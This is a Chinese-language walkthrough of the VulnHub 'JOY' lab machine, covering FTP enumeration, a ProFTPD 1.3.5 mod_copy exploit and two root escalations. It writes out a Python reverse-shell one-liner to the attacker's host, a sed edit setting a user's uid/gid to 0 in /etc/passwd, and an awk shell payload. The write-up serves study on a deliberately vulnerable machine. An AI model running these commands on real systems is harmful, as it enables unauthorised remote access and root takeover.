本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/digitalworldlocal-joy%2C298/
nmap扫描结果
发现ftp是匿名登录的,使用lftp命令登录上去把能看到的文件下载到本地
翻看了下载下来的文件,最终发现一个有用的文件version_control
通过上图可以猜测此文件就在用户patrick的家目录下面,此文件的内容无法查看,需要将其通过ftp下载下来,因为前面nmap扫描的结果显示是使用的ProFTPD FTP ,尝试使用此版本的命令复制漏洞到ftp目录下,然后通过ftp下载下来(这里我总感觉逻辑不对,因为我再使用nmap扫描出来的ftp版本是1.2 ,可能识别错误,但是感觉逻辑搞反了,因为知道目标靶机的ftp版本是1.3.5的时候,是需要先下载version_control然后查看里面的信息才知道准确的版本信息)
知道目标靶机的ftp版本是1.3.5 就可以通过metasploit的exp直接反弹shell,具体如下:
拿到反弹shell,上去翻看文件,发现了目标靶机用户patrick的账号和密码,其中里面的root密码是错误的
既然有用户了,就直接su切换到此用户,我刚开始准备在本地kali中直连,发现因为靶机ssh的过低,根本无法连接,所以只能使用su切换过去
切换过去之后,走捷径,首先看看sudo信息,果然发现了可以提权的信息,不过这里有两种提权方法,我们先看第一种,直接执行此脚本看看有什么现象
根据上述执行的交互式提示,发现是可以直接更改任意目录下的任意文件的权限,那么我这就直接修改/etc/passwd的文件权限为777,这样就可以普通用户直接更改此文件的普通用户的uid和gid为0,使其直接变成root权限得以提权,不过这里有点小坑,目标靶机没有vi,vim,但是有nano编辑器,即使有编辑器,编辑passwd文件,但是因为反弹shell不能正常使用nano,vi,vim编辑器,在网上我看到有人说可以使用sed流编辑器,但是我测试并没有成功,其给出的sed修改只是将修改的信息输出在终端,并没有实际更改,若要实际更改需要加 -i 参数,但是我测试发现执行失败,具体如下:
sed '36,36s/1000:1000/0:0/g' /etc/passwd
所以这里我经过测试,是需要将反弹的shell变成可交互式的shell才可正常使用nano编辑器进行编辑更改passwd文件,因为这里是使用metasploit反弹的shell不便变成可交互式的shell,那么这里使用Python反弹shell命令再使用kali本地监听反弹一次,然后在此shell中将其变成可交互式的shell,具体如下:
Python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.56.101",8844));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这里进行反弹之前先是which确认目标是存在Python环境,如果不存在,可以使用其他语言版本的反弹shell命令
上述我是在退回到www-data用户的反弹shell下再进行反弹一次,成功反弹shell之后,确认passwd权限已经变成777,同时进行配置可交互式shell
具体配置可交互式shell完整命令如下:
python -c 'import pty; pty.spawn("/bin/bash")' 在键盘上按住Ctrl+Z 此时便退出了当前的反弹shell 在当前的shell 执行 stty raw -echo fg export SHELL=bash export TERM=xterm-256color stty rows 54 columns 104
上述完成之后即可完美的使用编辑器,且可以使用clear命令等其他操作,更改passwd文件普通用户的uid和gid
退出当前登录的普通用户,然后再使用su切换即可
===============================================================================================================================================================================================
另一种提权方式是通过本地生成可以提权shell的命令,然后覆盖目标test文件进行提权,这里覆盖操作会使用到前面提到的ftp漏洞进行覆盖执行操作,首先是将本地预先配置好的提权命令文件test通过ftp上传到目标靶机,然后复制到可提权的文件目录下提权,具体如下:
echo "awk 'BEGIN {system("/bin/bash")}'" > test
成功提权